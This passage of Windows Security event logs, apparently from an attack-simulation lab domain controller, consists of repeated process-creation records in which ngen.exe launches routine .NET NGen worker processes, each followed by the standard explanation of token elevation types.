Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254279
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 15c -Pipe 2cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 26c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254282
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 2a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254281
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254286
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d0 -InterruptEvent 0 -NGENProcess 15c -Pipe 290 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254285
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 244 -InterruptEvent 0 -NGENProcess 264 -Pipe 300 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254284
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 250 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 280 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254283
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254289
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 304 -Pipe 308 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254288
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 318 -Pipe 2b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254287
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 2dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254292
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 33c -Pipe 32c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254291
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 324 -Pipe 318 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254290
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 304 -Pipe 2ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254293
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 324 -Pipe 264 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254295
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 350 -Pipe 348 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254294
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 328 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254299
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1394
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 320 -Pipe 350 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
